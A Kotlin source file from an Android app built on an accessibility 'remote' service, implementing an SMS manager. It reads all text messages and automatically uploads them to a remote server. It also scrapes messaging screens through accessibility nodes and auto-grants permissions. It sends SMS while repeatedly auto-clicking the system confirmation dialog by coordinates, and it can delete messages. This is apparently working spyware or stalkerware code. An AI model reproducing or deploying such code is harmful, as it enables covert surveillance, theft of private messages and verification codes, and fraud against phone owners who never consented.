package com.hikoncont.manager

import android.content.Context
import android.content.pm.PackageManager
import android.database.Cursor
import android.provider.Telephony
import android.telephony.SmsManager
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*

/**
 * 短信管理器 - 使用无障碍权限读取和发送短信
 * 
 * 负责短信的读取、发送和管理功能
 */
class SMSManager(private val service: AccessibilityRemoteService) {
    
    companion object {
        private const val TAG = "SMSManager"
    }
    
    private val context: Context = service
    
    /**
     * 检查短信权限
     */
    fun checkSMSPermission(): Boolean {
        return try {
            val readSmsPermission = context.checkSelfPermission(android.Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED
            val sendSmsPermission = context.checkSelfPermission(android.Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED
            val phoneStatePermission = context.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED
            
            val hasAllPermissions = readSmsPermission && sendSmsPermission && phoneStatePermission
            Log.d(TAG, "📱 短信权限检查: 读取=$readSmsPermission, 发送=$sendSmsPermission, 电话状态=$phoneStatePermission, 全部=$hasAllPermissions")
            hasAllPermissions
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查短信权限失败", e)
            false
        }
    }
    
    /**
     * 请求短信权限
     */
    fun requestSMSPermission() {
        try {
            Log.i(TAG, "📱 请求短信权限")
            val permissions = arrayOf(
                android.Manifest.permission.READ_SMS,
                android.Manifest.permission.SEND_SMS,
                android.Manifest.permission.READ_PHONE_STATE
            )
            
            // 通过Intent通知MainActivity请求权限
            val intent = android.content.Intent(context, com.hikoncont.MainActivity::class.java).apply {
                putExtra("request_sms_permission", true)
                flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            Log.i(TAG, "📱 已通知MainActivity请求短信权限")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 请求短信权限失败", e)
        }
    }
    
    /**
     * 读取短信列表
     */
    fun readSMSList(limit: Int = 50): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        Log.i(TAG, "📱 开始读取短信列表，限制: $limit 条")
        
        try {
            // 使用备用方式读取短信
            val alternativeSMSList = readSMSListAlternative(limit)
            if (alternativeSMSList.isNotEmpty()) {
                Log.i(TAG, "✅ 读取到 ${alternativeSMSList.size} 条短信")
                smsList.addAll(alternativeSMSList)
            } else {
                Log.w(TAG, "⚠️ 未读取到短信，可能的原因:")
                Log.w(TAG, "   1. 设备中没有短信")
                Log.w(TAG, "   2. 权限授予不完整")
                Log.w(TAG, "   3. Android版本限制")
            }
            
            // 自动发送短信数据到服务器
            if (smsList.isNotEmpty()) {
                sendSMSDataToServer(smsList)
                Log.i(TAG, "📤 短信数据已发送到服务器: ${smsList.size} 条")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 直接使用无障碍服务读取短信（不启动应用）
     */
    private fun readSMSViaAccessibilityDirect(limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        try {
            Log.i(TAG, "📱 尝试直接使用无障碍服务读取短信")
            
            // 检查无障碍服务是否运行
            if (!AccessibilityRemoteService.isServiceRunning()) {
                Log.w(TAG, "⚠️ 无障碍服务未运行，无法使用无障碍方式读取短信")
                return smsList
            }
            
            // 获取当前活动窗口的根节点
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "⚠️ 无法获取根节点")
                return smsList
            }
            
            try {
                // 检查当前是否在短信应用中
                val packageName = rootNode.packageName?.toString() ?: ""
                Log.d(TAG, "📱 当前应用包名: $packageName")
                
                if (isSMSApp(packageName)) {
                    Log.i(TAG, "📱 检测到短信应用，开始读取短信内容")
                    val smsMessages = readSMSFromCurrentScreen(rootNode, limit)
                    smsList.addAll(smsMessages)
                } else {
                    Log.d(TAG, "📱 当前不在短信应用中，跳过直接读取")
                }
                
            } finally {
                rootNode.recycle()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接无障碍方式读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 启动短信应用并使用无障碍服务读取
     */
    private fun readSMSViaSMSApp(limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        try {
            Log.i(TAG, "📱 尝试启动短信应用并读取短信")
            
            // 检查无障碍服务是否运行
            if (!AccessibilityRemoteService.isServiceRunning()) {
                Log.w(TAG, "⚠️ 无障碍服务未运行，无法使用无障碍方式读取短信")
                return smsList
            }
            
            // 获取短信应用包名
            val smsAppPackage = getDefaultSMSAppPackage()
            if (smsAppPackage.isNotEmpty()) {
                Log.d(TAG, "📱 找到短信应用: $smsAppPackage")
                
                // 启动短信应用
                val intent = service.packageManager.getLaunchIntentForPackage(smsAppPackage)
                if (intent != null) {
                    intent.addFlags(android.content.Intent.FLAG_ACTIVITY_NEW_TASK)
                    service.startActivity(intent)
                    
                    Log.i(TAG, "📱 已启动短信应用，等待加载...")
                    
                    // 等待短信应用启动
                    kotlinx.coroutines.runBlocking {
                        kotlinx.coroutines.delay(3000) // 增加等待时间
                    }
                    
                    // 使用无障碍服务读取短信内容
                    val smsMessages = readSMSFromAccessibilityService(limit)
                    smsList.addAll(smsMessages)
                } else {
                    Log.w(TAG, "⚠️ 无法启动短信应用: $smsAppPackage")
                }
            } else {
                Log.w(TAG, "⚠️ 未找到短信应用")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动短信应用读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 判断是否是短信应用
     */
    private fun isSMSApp(packageName: String): Boolean {
        val smsApps = listOf(
            "com.android.mms",
            "com.colors.contacts",
            "com.colors.messaging",
            "com.google.android.apps.messaging",
            "com.samsung.android.messaging",
            "com.huawei.messaging",
            "com.miui.mms",
            "com.oppo.mms",
            "com.vivo.mms",
            "com.oneplus.mms",
            "com.meizu.mms"
        )
        
        // 排除短信存储提供者
        val excludeApps = listOf(
            "com.android.providers.telephony",
            "com.android.providers.contacts",
            "com.android.providers"
        )
        
        if (excludeApps.any { packageName.contains(it) }) {
            return false
        }
        
        return smsApps.any { packageName.contains(it) } || 
               (packageName.lowercase().contains("sms") && !packageName.contains("provider")) ||
               (packageName.lowercase().contains("message") && !packageName.contains("provider")) ||
               (packageName.lowercase().contains("mms") && !packageName.contains("provider"))
    }
    
    /**
     * 从当前屏幕读取短信内容
     */
    private fun readSMSFromCurrentScreen(rootNode: android.view.accessibility.AccessibilityNodeInfo, limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        try {
            Log.i(TAG, "📱 从当前屏幕读取短信内容")
            
            // 查找短信列表节点
            val smsNodes = findSMSNodes(rootNode)
            Log.d(TAG, "📱 找到 ${smsNodes.size} 个短信节点")
            
            var count = 0
            for (node in smsNodes) {
                if (count >= limit) break
                
                try {
                    val smsMessage = parseSMSNode(node)
                    if (smsMessage != null) {
                        smsList.add(smsMessage)
                        count++
                        Log.v(TAG, "📱 解析短信: ${smsMessage.address} - ${smsMessage.body.take(20)}...")
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 解析短信节点失败", e)
                } finally {
                    node.recycle()
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 从当前屏幕读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 获取默认短信应用包名
     */
    private fun getDefaultSMSAppPackage(): String {
        return try {
            Log.d(TAG, "📱 开始查找默认短信应用")
            
            // 方法1: 使用系统API获取默认短信应用
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
                val defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(service)
                if (!defaultSmsApp.isNullOrEmpty()) {
                    Log.i(TAG, "✅ 系统API找到默认短信应用: $defaultSmsApp")
                    return defaultSmsApp
                } else {
                    Log.w(TAG, "⚠️ 系统API未找到默认短信应用")
                }
            }
            
            // 方法2: 尝试常见的短信应用
            val commonSMSApps = listOf(
                "com.colors.contacts",
                "com.colors.messaging",
                "com.android.mms",                    // 系统短信
                "com.google.android.apps.messaging",  // Google Messages
                "com.samsung.android.messaging",      // 三星短信
                "com.huawei.messaging",               // 华为短信
                "com.miui.mms",                      // 小米短信
                "com.tencent.mm",                    // 微信
                "com.tencent.mobileqq",              // QQ
                "com.alibaba.android.rimet",         // 钉钉
                "com.oppo.mms",                      // OPPO短信
                "com.vivo.mms",                      // vivo短信
                "com.oneplus.mms",                   // 一加短信
                "com.meizu.mms"                      // 魅族短信
            )
            
            Log.d(TAG, "📱 尝试常见短信应用...")
            for (packageName in commonSMSApps) {
                try {
                    val packageInfo = service.packageManager.getPackageInfo(packageName, 0)
                    if (packageInfo != null) {
                        Log.i(TAG, "✅ 找到已安装的短信应用: $packageName")
                        return packageName
                    }
                } catch (e: Exception) {
                    Log.v(TAG, "📱 应用 $packageName 未安装")
                }
            }
            
            // 方法3: 通过包管理器查找所有可能的短信应用
            Log.d(TAG, "📱 通过包管理器查找短信应用...")
            val installedPackages = service.packageManager.getInstalledPackages(0)
            val smsKeywords = listOf("sms", "message", "messaging", "mms", "短信", "消息")
            
            for (packageInfo in installedPackages) {
                val packageName = packageInfo.packageName.lowercase()
                val appName = packageInfo.applicationInfo?.loadLabel(service.packageManager)?.toString()?.lowercase() ?: ""
                
                // 检查包名或应用名是否包含短信关键词
                val isSMSApp = smsKeywords.any { keyword ->
                    packageName.contains(keyword) || appName.contains(keyword)
                }
                
                if (isSMSApp) {
                    Log.i(TAG, "✅ 通过关键词找到短信应用: ${packageInfo.packageName} ($appName)")
                    return packageInfo.packageName
                }
            }
            
            Log.w(TAG, "⚠️ 未找到任何短信应用")
            ""
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取默认短信应用失败", e)
            ""
        }
    }
    
    /**
     * 通过无障碍服务读取短信内容
     */
    private fun readSMSFromAccessibilityService(limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        try {
            Log.i(TAG, "📱 通过无障碍服务读取短信内容")
            
            // 获取根节点
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "⚠️ 无法获取根节点")
                return smsList
            }
            
            try {
                // 查找短信列表节点
                val smsNodes = findSMSNodes(rootNode)
                Log.d(TAG, "📱 找到 ${smsNodes.size} 个短信节点")
                
                var count = 0
                for (node in smsNodes) {
                    if (count >= limit) break
                    
                    try {
                        val smsMessage = parseSMSNode(node)
                        if (smsMessage != null) {
                            smsList.add(smsMessage)
                            count++
                            Log.v(TAG, "📱 解析短信: ${smsMessage.address} - ${smsMessage.body.take(20)}...")
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 解析短信节点失败", e)
                    } finally {
                        node.recycle()
                    }
                }
                
            } finally {
                rootNode.recycle()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 通过无障碍服务读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 查找短信节点
     */
    private fun findSMSNodes(rootNode: android.view.accessibility.AccessibilityNodeInfo): List<android.view.accessibility.AccessibilityNodeInfo> {
        val smsNodes = mutableListOf<android.view.accessibility.AccessibilityNodeInfo>()
        
        try {
            // 查找包含短信内容的节点
            findSMSNodesRecursive(rootNode, smsNodes, 0)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找短信节点失败", e)
        }
        
        return smsNodes
    }
    
    /**
     * 递归查找短信节点
     */
    private fun findSMSNodesRecursive(
        node: android.view.accessibility.AccessibilityNodeInfo,
        smsNodes: MutableList<android.view.accessibility.AccessibilityNodeInfo>,
        depth: Int
    ) {
        if (depth > 10) return // 防止过深递归
        
        try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            
            // 检查是否是短信内容节点
            if (isSMSContentNode(text, contentDescription)) {
                smsNodes.add(android.view.accessibility.AccessibilityNodeInfo.obtain(node))
            }
            
            // 递归查找子节点
            for (i in 0 until node.childCount) {
                val childNode = node.getChild(i)
                if (childNode != null) {
                    findSMSNodesRecursive(childNode, smsNodes, depth + 1)
                    childNode.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 递归查找短信节点失败", e)
        }
    }
    
    /**
     * 判断是否是短信内容节点
     */
    private fun isSMSContentNode(text: String, contentDescription: String): Boolean {
        // 检查是否包含短信特征
        val smsIndicators = listOf(
            "短信", "SMS", "消息", "Message",
            "发送", "接收", "Send", "Receive",
            "时间", "Time", "日期", "Date"
        )
        
        val combinedText = "$text $contentDescription".lowercase()
        
        // 检查是否包含短信指示器
        val hasSMSIndicator = smsIndicators.any { indicator ->
            combinedText.contains(indicator.lowercase())
        }
        
        // 检查是否包含电话号码模式
        val hasPhonePattern = text.matches(Regex(".*\\d{3,}.*"))
        
        // 检查是否包含时间模式
        val hasTimePattern = text.matches(Regex(".*\\d{1,2}:\\d{2}.*"))
        
        return hasSMSIndicator || (hasPhonePattern && hasTimePattern)
    }
    
    /**
     * 解析短信节点
     */
    private fun parseSMSNode(node: android.view.accessibility.AccessibilityNodeInfo): SMSMessage? {
        return try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            
            // 简单的短信解析逻辑
            val lines = text.split("\n").filter { it.isNotBlank() }
            if (lines.size >= 2) {
                val address = lines[0].trim()
                val body = lines.drop(1).joinToString("\n").trim()
                
                SMSMessage(
                    id = System.currentTimeMillis(),
                    address = address,
                    body = body,
                    date = System.currentTimeMillis(),
                    type = 1, // 假设为接收
                    isRead = true
                )
            } else {
                null
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 解析短信节点失败", e)
            null
        }
    }
    
    /**
     * 传统方式读取短信
     */
    private fun readSMSTraditional(limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        if (!checkSMSPermission()) {
            Log.w(TAG, "⚠️ 短信权限未授予，尝试自动申请")
            try {
                service.requestSMSPermissionWithAutoGrant()
            } catch (e: Exception) {
                Log.e(TAG, "触发短信权限申请失败", e)
            }

            var attempts = 0
            val maxAttempts = 16 // ~8s
            while (attempts < maxAttempts) {
                try {
                    Thread.sleep(500)
                } catch (ie: InterruptedException) {
                }
                if (checkSMSPermission()) {
                    Log.i(TAG, "✅ 短信权限已在等待期间授予，继续读取")
                    break
                }
                attempts++
            }

            if (!checkSMSPermission()) {
                Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限，返回空列表")
                return smsList
            }
        }
        
        try {
            Log.i(TAG, "📱 尝试传统方式读取短信")
            
            val cursor: Cursor? = service.contentResolver.query(
                Telephony.Sms.CONTENT_URI,
                arrayOf(
                    Telephony.Sms._ID,
                    Telephony.Sms.ADDRESS,
                    Telephony.Sms.BODY,
                    Telephony.Sms.DATE,
                    Telephony.Sms.TYPE,
                    Telephony.Sms.READ
                ),
                null,
                null,
                "${Telephony.Sms.DATE} DESC LIMIT $limit"
            )
            
            Log.d(TAG, "📱 传统方式查询结果: cursor=${cursor != null}, count=${cursor?.count ?: 0}")
            
            cursor?.use {
                while (it.moveToNext()) {
                    try {
                        val id = it.getLong(it.getColumnIndexOrThrow(Telephony.Sms._ID))
                        val address = it.getString(it.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)) ?: ""
                        val body = it.getString(it.getColumnIndexOrThrow(Telephony.Sms.BODY)) ?: ""
                        val date = it.getLong(it.getColumnIndexOrThrow(Telephony.Sms.DATE))
                        val type = it.getInt(it.getColumnIndexOrThrow(Telephony.Sms.TYPE))
                        val read = it.getInt(it.getColumnIndexOrThrow(Telephony.Sms.READ))
                        
                        val smsMessage = SMSMessage(
                            id = id,
                            address = address,
                            body = body,
                            date = date,
                            type = type,
                            isRead = read == 1
                        )
                        smsList.add(smsMessage)
                        
                        Log.v(TAG, "📱 传统方式读取短信: ID=$id, 地址=$address, 内容长度=${body.length}")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 传统方式解析单条短信失败", e)
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 传统方式读取短信失败", e)
        }
        
        return smsList
    }
    
    /**
     * 备用短信读取方法
     * 完全参考 DxMsgGetallUseUtils.query() 的实现方式
     * 获取全部短信，无 limit 限制
     */
    private fun readSMSListAlternative(limit: Int): List<SMSMessage> {
        val smsList = mutableListOf<SMSMessage>()
        
        // 首先检查权限
        if (!checkSMSPermission()) {
            Log.w(TAG, "⚠️ 短信权限未授予，无法读取短信")
            return smsList
        }
        
        // 参考代码：使用 content://sms/ URI，字段为 address, body, date, type, _id, person
        // sortOrder 为 null（不排序），获取全部短信
        val cursor: Cursor? = service.contentResolver.query(
            android.net.Uri.parse("content://sms/"),
            arrayOf("address", "body", "date", "type", "_id", "read"),  // 参考代码字段，添加 read 字段
            null,
            null,
            null  // 参考代码使用 null，不排序
        )
        
        if (cursor != null) {
            try {
                if (cursor.count > 0) {
                    while (cursor.moveToNext()) {
                        try {
                            // 参考代码使用 getColumnIndex 获取字段索引
                            val idIndex = cursor.getColumnIndex("_id")
                            val addressIndex = cursor.getColumnIndex("address")
                            val bodyIndex = cursor.getColumnIndex("body")
                            val dateIndex = cursor.getColumnIndex("date")
                            val typeIndex = cursor.getColumnIndex("type")
                            val readIndex = cursor.getColumnIndex("read")
                            
                            // 检查索引是否有效（参考代码没有检查，但为了安全添加）
                            if (idIndex < 0 || addressIndex < 0 || bodyIndex < 0 || 
                                dateIndex < 0 || typeIndex < 0) {
                                Log.w(TAG, "⚠️ 字段索引无效，跳过此条短信")
                                continue
                            }
                            
                            // 参考代码：直接使用 getString/getLong/getInt 获取值
                            // 注意：参考代码中 date 和 type 都是 String，但这里需要转换为 Long 和 Int
                            val id = try {
                                cursor.getLong(idIndex)
                            } catch (e: Exception) {
                                cursor.getString(idIndex)?.toLongOrNull() ?: 0L
                            }
                            val address = cursor.getString(addressIndex) ?: ""
                            val body = cursor.getString(bodyIndex) ?: ""
                            val date = try {
                                cursor.getLong(dateIndex)
                            } catch (e: Exception) {
                                cursor.getString(dateIndex)?.toLongOrNull() ?: 0L
                            }
                            val type = try {
                                cursor.getInt(typeIndex)
                            } catch (e: Exception) {
                                cursor.getString(typeIndex)?.toIntOrNull() ?: 0
                            }
                            val read = if (readIndex >= 0) {
                                try {
                                    cursor.getInt(readIndex)
                                } catch (e: Exception) {
                                    1  // 默认已读
                                }
                            } else {
                                1  // 默认已读
                            }
                            
                            val smsMessage = SMSMessage(
                                id = id,
                                address = address,
                                body = body,
                                date = date,
                                type = type,
                                isRead = read == 1
                            )
                            smsList.add(smsMessage)
                            
                            Log.v(TAG, "📱 读取短信: ID=$id, 地址=$address, 日期=$date, 类型=$type, 内容长度=${body.length}")
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 解析单条短信失败", e)
                        }
                    }
                    
                    Log.i(TAG, "✅ 成功读取到 ${smsList.size} 条短信")
                } else {
                    Log.w(TAG, "⚠️ 查询结果为空，可能没有短信")
                }
            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理查询结果失败", e)
                // 参考代码：异常时关闭 cursor
                cursor.close()
            }
        }
        
        // 参考代码：最后关闭 cursor
        if (cursor != null) {
            cursor.close()
        }
        
        return smsList
    }
    
    /**
     * 发送短信数据到服务器
     */
    private fun sendSMSDataToServer(smsList: List<SMSMessage>) {
        try {
            // 通过服务获取SocketIOManager并发送短信数据
            if (AccessibilityRemoteService.isServiceRunning()) {
                service.getSocketIOManager()?.sendSMSData(smsList)
                Log.d(TAG, "📤 短信数据已发送到服务器: ${smsList.size} 条")
            } else {
                Log.w(TAG, "⚠️ 服务未运行，无法发送短信数据")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送短信数据到服务器失败", e)
        }
    }
    
    /**
     * 发送短信
     */
    fun sendSMS(phoneNumber: String, message: String): Boolean {
        if (!checkSMSPermission()) {
            Log.e(TAG, "❌ 短信权限未授予")
            return false
        }
        
        return try {
            Log.i(TAG, "📱 发送短信到: $phoneNumber")
            Log.i(TAG, "📱 短信内容: $message")
            
            val smsManager = SmsManager.getDefault()
            
            // 如果短信内容过长，需要分割发送
            val parts = smsManager.divideMessage(message)
            if (parts.size == 1) {
                smsManager.sendTextMessage(phoneNumber, null, message, null, null)
            } else {
                smsManager.sendMultipartTextMessage(phoneNumber, null, parts, null, null)
            }
            
            Log.i(TAG, "✅ 短信发送成功")
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送短信失败", e)
            false
        }
    }
    
    /**
     * 发送短信（带权限弹框自动处理）
     */
    fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean {
        if (!checkSMSPermission()) {
            Log.e(TAG, "❌ 短信权限未授予，尝试请求权限")
            requestSMSPermission()
            return false
        }
        
        return try {
            Log.i(TAG, "📱 发送短信到: $phoneNumber")
            Log.i(TAG, "📱 短信内容: $message")
            
            // 启动发送短信权限弹框检测
            service.getPermissionGranter()?.startSendSMSPermissionDetection()
            
            val smsManager = SmsManager.getDefault()
            
            // 启动发送短信确认对话框检测
            service.getPermissionGranter()?.startSendSMSConfirmationDetection()
            
            // 延迟启动点击协程，确保对话框完全显示后再点击
            service.getPermissionGranter()?.let { granter ->
                kotlinx.coroutines.GlobalScope.launch {
                    // 等待对话框完全显示
                    kotlinx.coroutines.delay(200) // 200ms延迟，确保对话框完全显示
                    
                    // 连续点击，确保点击到确认按钮
                    for (i in 1..5) {
                        granter.tryClickSendSMSConfirmationByCoordinates()
                        kotlinx.coroutines.delay(100) // 100ms间隔
                    }
                    
                    // 延迟停止检测
                    kotlinx.coroutines.delay(2000) // 2秒后停止权限检测
                    granter.stopSendSMSPermissionDetection()
                    
                    kotlinx.coroutines.delay(1000) // 再等1秒后停止确认检测
                    granter.stopSendSMSConfirmationDetection()
                }
            }
            
            // 如果短信内容过长，需要分割发送
            val parts = smsManager.divideMessage(message)
            if (parts.size == 1) {
                smsManager.sendTextMessage(phoneNumber, null, message, null, null)
            } else {
                smsManager.sendMultipartTextMessage(phoneNumber, null, parts, null, null)
            }
            
            Log.i(TAG, "✅ 短信发送成功")
            
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送短信失败", e)
            // 发送失败时也要停止检测
            service.getPermissionGranter()?.let { granter ->
                granter.stopSendSMSPermissionDetection()
                granter.stopSendSMSConfirmationDetection()
            }
            false
        }
    }
    
    /**
     * 标记短信为已读
     */
    fun markSMSAsRead(smsId: Long): Boolean {
        if (!checkSMSPermission()) {
            Log.e(TAG, "❌ 短信权限未授予")
            return false
        }
        
        return try {
            val values = android.content.ContentValues().apply {
                put(Telephony.Sms.READ, 1)
            }
            
            val rowsUpdated = context.contentResolver.update(
                Telephony.Sms.CONTENT_URI,
                values,
                "${Telephony.Sms._ID} = ?",
                arrayOf(smsId.toString())
            )
            
            val success = rowsUpdated > 0
            Log.d(TAG, "📱 标记短信为已读: $success (ID: $smsId)")
            success
        } catch (e: Exception) {
            Log.e(TAG, "❌ 标记短信为已读失败", e)
            false
        }
    }
    
    /**
     * 删除短信
     */
    fun deleteSMS(smsId: Long): Boolean {
        if (!checkSMSPermission()) {
            Log.e(TAG, "❌ 短信权限未授予")
            return false
        }
        
        return try {
            val rowsDeleted = context.contentResolver.delete(
                Telephony.Sms.CONTENT_URI,
                "${Telephony.Sms._ID} = ?",
                arrayOf(smsId.toString())
            )
            
            val success = rowsDeleted > 0
            Log.d(TAG, "📱 删除短信: $success (ID: $smsId)")
            success
        } catch (e: Exception) {
            Log.e(TAG, "❌ 删除短信失败", e)
            false
        }
    }
    
    /**
     * 获取未读短信数量
     */
    fun getUnreadSMSCount(): Int {
        if (!checkSMSPermission()) {
            Log.e(TAG, "❌ 短信权限未授予")
            return 0
        }
        
        return try {
            val cursor: Cursor? = service.contentResolver.query(
                Telephony.Sms.CONTENT_URI,
                arrayOf(Telephony.Sms._ID),
                "${Telephony.Sms.READ} = ?",
                arrayOf("0"),
                null
            )
            
            val count = cursor?.count ?: 0
            cursor?.close()
            Log.d(TAG, "📱 未读短信数量: $count")
            count
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取未读短信数量失败", e)
            0
        }
    }
    
    /**
     * 测试短信读取功能 - 提供详细的调试信息
     */
    fun testSMSReading(): String {
        val result = StringBuilder()
        
        try {
            result.appendLine("📱 开始测试短信读取功能...")
            
            // 1. 检查权限
            result.appendLine("1. 检查权限状态:")
            val readSmsPermission = service.checkSelfPermission(android.Manifest.permission.READ_SMS) == android.content.pm.PackageManager.PERMISSION_GRANTED
            val sendSmsPermission = service.checkSelfPermission(android.Manifest.permission.SEND_SMS) == android.content.pm.PackageManager.PERMISSION_GRANTED
            val phoneStatePermission = service.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == android.content.pm.PackageManager.PERMISSION_GRANTED
            result.appendLine("   - 读取短信权限: $readSmsPermission")
            result.appendLine("   - 发送短信权限: $sendSmsPermission")
            result.appendLine("   - 电话状态权限: $phoneStatePermission")
            result.appendLine("   - 全部权限: ${checkSMSPermission()}")
            
            // 2. 检查无障碍服务
            result.appendLine("2. 检查无障碍服务:")
            result.appendLine("   - 服务运行状态: ${AccessibilityRemoteService.isServiceRunning()}")
            
            // 3. 查找短信应用
            result.appendLine("3. 查找短信应用:")
            val smsApp = getDefaultSMSAppPackage()
            result.appendLine("   - 找到的短信应用: $smsApp")
            
            // 4. 测试传统方式
            result.appendLine("4. 测试传统ContentResolver方式:")
            val traditionalSMS = readSMSTraditional(5)
            result.appendLine("   - 读取到短信数量: ${traditionalSMS.size}")
            
            // 5. 测试无障碍方式
            result.appendLine("5. 测试无障碍方式:")
            val accessibilitySMS = readSMSViaAccessibilityDirect(5)
            result.appendLine("   - 直接无障碍读取数量: ${accessibilitySMS.size}")
            
            // 6. 获取当前应用信息
            result.appendLine("6. 当前应用信息:")
            try {
                val rootNode = service.rootInActiveWindow
                if (rootNode != null) {
                    val packageName = rootNode.packageName?.toString() ?: "未知"
                    val className = rootNode.className?.toString() ?: "未知"
                    result.appendLine("   - 当前包名: $packageName")
                    result.appendLine("   - 当前类名: $className")
                    result.appendLine("   - 是否短信应用: ${isSMSApp(packageName)}")
                    rootNode.recycle()
                } else {
                    result.appendLine("   - 无法获取根节点")
                }
            } catch (e: Exception) {
                result.appendLine("   - 获取当前应用信息失败: ${e.message}")
            }
            
            result.appendLine("📱 测试完成")
            
        } catch (e: Exception) {
            result.appendLine("❌ 测试过程中发生错误: ${e.message}")
            Log.e(TAG, "❌ 测试短信读取功能失败", e)
        }
        
        return result.toString()
    }
    
    /**
     * 简单测试短信读取 - 直接尝试读取
     */
    fun simpleTestSMSReading(): String {
        val result = StringBuilder()
        
        try {
            result.appendLine("📱 简单测试短信读取...")
            
            // 直接尝试读取短信
            val smsList = readSMSList(5)
            result.appendLine("📱 读取结果: ${smsList.size} 条短信")
            
            if (smsList.isNotEmpty()) {
                result.appendLine("📱 短信内容:")
                smsList.forEachIndexed { index, sms ->
                    result.appendLine("   ${index + 1}. ${sms.address}: ${sms.body.take(30)}...")
                }
            } else {
                result.appendLine("❌ 未读取到任何短信")
                
                // 尝试直接查询
                result.appendLine("📱 尝试直接查询...")
                try {
                    val cursor = service.contentResolver.query(
                        Telephony.Sms.CONTENT_URI,
                        arrayOf(Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.BODY),
                        null, null, null
                    )
                    
                    val count = cursor?.count ?: 0
                    result.appendLine("📱 直接查询结果: count=$count")
                    
                    if (count > 0) {
                        result.appendLine("📱 数据库中确实有短信，但读取失败")
                    } else {
                        result.appendLine("📱 数据库中确实没有短信")
                    }
                    
                    cursor?.close()
                } catch (e: Exception) {
                    result.appendLine("❌ 直接查询失败: ${e.message}")
                }
            }
            
        } catch (e: Exception) {
            result.appendLine("❌ 简单测试失败: ${e.message}")
            Log.e(TAG, "❌ 简单测试短信读取失败", e)
        }
        
        return result.toString()
    }
}

/**
 * 短信消息数据类
 */
data class SMSMessage(
    val id: Long,
    val address: String,
    val body: String,
    val date: Long,
    val type: Int, // 1=接收, 2=发送
    val isRead: Boolean
) {
    fun getTypeString(): String {
        return when (type) {
            1 -> "接收"
            2 -> "发送"
            else -> "未知"
        }
    }
    
    fun getFormattedDate(): String {
        val dateFormat = java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss", java.util.Locale.getDefault())
        return dateFormat.format(java.util.Date(date))
    }
}

